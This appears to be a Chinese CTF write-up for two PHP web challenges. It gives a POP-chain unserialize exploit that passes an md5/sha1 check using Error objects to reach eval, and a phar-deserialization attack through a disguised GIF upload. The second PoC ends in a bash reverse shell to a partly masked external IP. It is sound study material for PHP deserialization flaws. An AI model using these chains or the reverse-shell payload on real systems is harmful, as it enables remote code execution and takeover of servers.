杰克与肉丝

开题即给源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php
highlight_file(__file__);

class Jack
{
private $action;

function __set($a, $b)
{
$b->$a();
}
}

class Love {

public $var;
function __call($a,$b)
{
$rose = $this->var;
call_user_func($rose);
}

private function action(){
echo "jack love rose";
}
}

class Titanic{
public $people;
public $ship;
function __destruct(){

$this->people->action=$this->ship;
}
}

class Rose{
public $var1;
public $var2;
function __invoke(){
if( ($this->var1 != $this->var2) && (md5($this->var1) === md5($this->var2)) && (sha1($this->var1)=== sha1($this->var2)) ){
eval($this->var1);
}
}
}

if(isset($_GET['love'])){
$sail=$_GET['love'];
unserialize($sail);
}
?>

题目所涉及到的魔术方法:

1
2
3
__call()   // 在对象上下文中调用不可访问的方法时触发
__set() // 用于将数据写入不可访问的属性
__invoke() //当尝试将对象调用为函数时触发

首先看到 Rose 类中有一个 eval 函数可以执行任意代码,但是需要绕过:

1
if( ($this->var1 != $this->var2) && (md5($this->var1) === md5($this->var2)) && (sha1($this->var1)=== sha1($this->var2)) )

这个乍看一眼在 CTF 的基础题目中非常常见,一般情况下只需要使用数组即可绕过。但是这里是在类里面,我们当然不能这么做。

这里的考点是 md5() 和 sha1() 可以对一个类进行hash,并且会触发这个类的 __toString 方法;且当eval()函数传入一个类对象时,也会触发这个类里的 __toString 方法。

所以我们可以使用含有 __toString 方法的PHP内置类来绕过,用的两个比较多的内置类就是 ExceptionError ,他们之中有一个 __toString 方法,当类被当做字符串处理时,就会调用这个函数。

这里以Error 类为例,我们来看看当触发他的 __toString 方法时会发生什么:

1
2
3
<?php
$a = new Error("payload",1);
echo $a;

输出如下:

1
2
3
Error: payload in /usercode/file.php:2
Stack trace:
#0 {main}

发现会以字符串的形式输出当前报错,包含当前的错误信息(payload)以及当前报错的行号(2),而传入 Error("payload",1) 中的错误代码“1”则没有输出出来。

在来看看下一个例子:

1
2
3
4
5
<?php
$a = new Error("payload",1);$b = new Error("payload",2);
echo $a;
echo "\r\n\r\n";
echo $b;

输出如下:

1
2
3
4
5
6
7
Error: payload in /usercode/file.php:2
Stack trace:
#0 {main}

Error: payload in /usercode/file.php:2
Stack trace:
#0 {main}

可见,$a$b 这两个对象本身是不同的,但是 __toString 方法返回的结果是相同的。注意,这里之所以需要在同一行是因为 __toString 返回的数据包含当前行号。

Exception 类与 Error 的使用和结果完全一样,只不过 Exception 类适用于PHP 5和7,而 Error 只适用于 PHP 7。

那么我们的思路就来了,我们可以将题目代码中的 $syc$lover 分别声明为类似上面的内置类的对象,让这两个对象本身不同(传入的错误代码即可),但是 __toString 方法输出的结果相同即可。所以绕过这一步分的 Payload 大致如下:

1
2
3
4
5
$payload = "?><?=system('cat /flag')?>";
$a=new Error($payload,1);$b=new Error($payload,2);
$eval = new Rose();
$eval -> var1 = $a;
$eval -> var2 = $b;

接下来我们解决的便是如何调用 Rose 类中的 __invoke 方法来执行 eval 了。在 Love 类的 __call 方法中有一个 call_user_func 函数,我们可以通过这个函数来触发 Rose 类中的 __invoke 方法。

然后便是去找能够触发 Love 类中 __call 方法的地方,看到了 Jack 类的 __set 方法中的 $b->$a(); 我们可以将这里的 $b 赋为 Love 类的一个对象,这样便可以触发 Love 类中的 __call 了。Titanic 类中的 $this->people->action=$this->ship; 可以触发 Jack 类的 __set 方法。

所以最终的 POC 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
<?php

class Jack
{
private $action;
function __set($a, $b)
{
$b->$a();
}
}

class Love {

public $var;
function __call($a,$b)
{
$rose = $this->var;
call_user_func($rose);
}

private function action(){
echo "jack love rose";
}

}
class Titanic{
public $people;
public $ship;
function __destruct(){

$this->people->action=$this->ship;
}
}
class Rose{
public $var1;
public $var2;
function __invoke(){
var_dump(sha1($this->var1));
var_dump(sha1($this->var2));
if( ($this->var1 != $this->var2) && (md5($this->var1) === md5($this->var2)) && (sha1($this->var1)=== sha1($this->var2)) ){
eval($this->var1);
}else{
echo 'nonono';
}
}
}

$poc = new Titanic();
$poc -> people = new Jack();
$poc -> ship = new Love();

$payload = "?><?=system('cat /flag')?>";
$a=new Error($payload,1);$b=new Error($payload,2);
$eval = new Rose();
$eval -> var1 = $a;
$eval -> var2 = $b;

$poc -> ship -> var = $eval;
echo urlencode(serialize($poc))."\n";
// 输出: O%3A7%3A%22Titanic%22%3A2%3A%7Bs%3A6%3A%22people%22%3BO%3A4%3A%22Jack%22%3A1%3A%7Bs%3A12%3A%22%00Jack%00action%22%3BN%3B%7Ds%3A4%3A%22ship%22%3BO%3A4%3A%22Love%22%3A1%3A%7Bs%3A3%3A%22var%22%3BO%3A4%3A%22Rose%22%3A2%3A%7Bs%3A4%3A%22var1%22%3BO%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A26%3A%22%3F%3E%3C%3F%3Dsystem%28%27cat+%2Fflag%27%29%3F%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A1%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A31%3A%22C%3A%5CUsers%5CLiuSir%5CDesktop%5Cpoc.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A53%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7Ds%3A4%3A%22var2%22%3BO%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A26%3A%22%3F%3E%3C%3F%3Dsystem%28%27cat+%2Fflag%27%29%3F%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A2%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A31%3A%22C%3A%5CUsers%5CLiuSir%5CDesktop%5Cpoc.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A53%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D%7D%7D%7D

image-20210604184544387

得到 flag。

不一样的web

进入题目:

image-20210604185501357

可以选择文件进行上传,上传之后可以在 AvatarLink 处查看该文件是否已经上传成功:

image-20210604185800918

邮件查看源码发现泄露的的 PHP 代码:

image-20210604185933674

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
class Read{
public $name;
public function file_get()
{
$text = base64_encode(file_get_contents("lib.php"));
echo $text;
}

}
class Test{
public $f;
public function __construct($value){
$this->f = $value;
}

public function __wakeup()
{
$func = $this->f;
$func();
}
}

Test 类中的 $func(); 可以动态执行 PHP 函数,但是只能执行一个不带参数的函数,如 phpinfo。很明显了,加上前面的那几个功能点,我们应该能想到 phar 反序列化,构造 poc 进行测试:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
class Read{
public $name;
public function file_get()
{
$text = base64_encode(file_get_contents("lib.php"));
echo $text;
}

}

class Test{
public $f;
public function __construct($value){
$this->f = $value;
}

public function __wakeup()
{
$func = $this->f;
$func();
}
}

$poc = new Test('phpinfo');
$phar = new Phar('phar.phar');
$phar -> startBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$phar -> setMetadata($poc);
$phar -> stopBuffering();
?>

生成的 phar 文件修改后缀为 gif 进行上传,然后在 AvatarLink 处输入:

1
phar:///var/www/html/4623e4e6/4e5b09b2149f7619cca155c8bd6d8ee5/1b33718042e7dfe8fac079be96ebc4d9.gif

如下图成功触发并执行 phpinfo:

image-20210604190454470

然后我们思路就是想办法中执行 Read 类中的 file_get 方法来将 lib.php 的源码读出来,这里我们可以用数组的方法实现 Read 类中 file_get 方法的调用:

1
$poc = new Test(array("Read","file_get"));

POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
class Read{
public $name;
public function file_get()
{
$text = base64_encode(file_get_contents("lib.php"));
echo $text;
}
}

class Test{
public $f;
public function __construct($value){
$this->f = $value;
}

public function __wakeup()
{
$func = $this->f;
$func();
}
}

$poc = new Test(array("Read","file_get")); // 数组

$phar = new Phar('phar.phar');
$phar -> startBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$phar -> setMetadata($poc);
$phar -> stopBuffering();
?>

成功:

image-20210604190916967

得到 lib.php 的源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
<?php
error_reporting(0);
class Modifier{
public $old_id;
public $new_id;
public $p_id;
public function __construct(){
$this->old_id = "1";
$this->new_id = "0";
$this->p_id = "1";
}
public function __get($value){
$new_id = $value;
$this->old_id = random_bytes(16); // 这里可以通过引用赋值的方法绕过
if($this->old_id===$this->new_id){
system($this->p_id);
}
}
}
class Read{
public function file_get()
{
$text = base64_encode(file_get_contents("lib.php"));
echo $text;
}

}
class Files{
public $filename;
public function __construct($filename){
$this->filename = $this->FilesWaf($filename);
}
public function __wakeup(){
$this->FilesWaf($this->filename);
}
public function __toString(){
return $this->filename;
}
public function __destruct(){
echo "Your file is ".$this->FilesWaf($this->filename).".</br>";

}
public function FilesWaf($name){
if(stristr($name, "/")!==False){ // 这里的stristr可以用来触发 __toString 方法
return "index.php";
}
return $name;
}
}
class Test{
public $f;
public function __construct($value){
$this->f = $value;
}

public function __wakeup()
{
$func = $this->f;
$func();
}
}
class User{
public $name;
public $profile;
public function __construct($name){
$this->name = $this->UserWaf($name);
$this->profile = "I am admin.";
}
public function __wakeup(){
$this->UserWaf($this->name);
}
public function __toString(){
return $this->profile->name; // 这里可以用来触发Modifier类中的 __get 方法
}
public function __destruct(){
echo "Hello ".$this->UserWaf($this->name).".</br>";

}
public function UserWaf($name){
if(strlen($name)>10){
return "admin";
}
if(!preg_match("/[a-f0-9]/iu",$name)){
return "admin";
}
return $name;
}
}

需要通过Phar反序列化执行 Modifier 类中的 system 函数来Getshell,直接给个 POC 吧不多说了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
<?php
error_reporting(0);
class Modifier{
public $old_id;
public $new_id;
public $p_id;
public function __construct(){
$this->old_id = "1";
$this->new_id = "0";
$this->p_id = "1";
}
public function __get($value){
$new_id = $value;
$this->old_id = random_bytes(16); // 这里可以通过引用赋值的方法绕过
if($this->old_id===$this->new_id){
system($this->p_id);
}
}
}
class Read{
public function file_get()
{
$text = base64_encode(file_get_contents("lib.php"));
echo $text;
}

}
class Files{
public $filename;
public function __construct($filename){
$this->filename = $this->FilesWaf($filename);
}
public function __wakeup(){
$this->FilesWaf($this->filename);
}
public function __toString(){
return $this->filename;
}
public function __destruct(){
echo "Your file is ".$this->FilesWaf($this->filename).".</br>";

}
public function FilesWaf($name){
if(stristr($name, "/")!==False){ // 这里的stristr可以用来触发 __toString 方法
return "index.php";
}
return $name;
}
}
class Test{
public $f;
public function __construct($value){
$this->f = $value;
}

public function __wakeup()
{
$func = $this->f;
$func();
}
}
class User{
public $name;
public $profile;
public function __construct($name){
$this->name = $this->UserWaf($name);
$this->profile = "I am admin.";
}
public function __wakeup(){
$this->UserWaf($this->name);
}
public function __toString(){
return $this->profile->name; // 这里可以用来触发Modifier类中的 __get 方法
}
public function __destruct(){
echo "Hello ".$this->UserWaf($this->name).".</br>";

}
public function UserWaf($name){
if(strlen($name)>10){
return "admin";
}
if(!preg_match("/[a-f0-9]/iu",$name)){
return "admin";
}
return $name;
}
}

$poc = new Files();
$poc -> filename = new User();

$mod = new Modifier();
$mod -> p_id = 'bash -c "bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1"';
$mod-> old_id = &$mod->new_id;
$poc -> filename -> profile = $mod;

$phar = new Phar('30.phar');
$phar -> startBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$phar -> setMetadata($poc);
$phar -> stopBuffering();

成功 Getshell:

image-20210604191713910

根目录没有 flag 但是有一个可执行程序 game,将改程序弄下来在本地执行:

image-20210604192044880

得到了 flag 用户的密码,然后执行 su flag 切换到flag用户,在 /home/flag 目录下拿到了 flag:

image-20210604192247511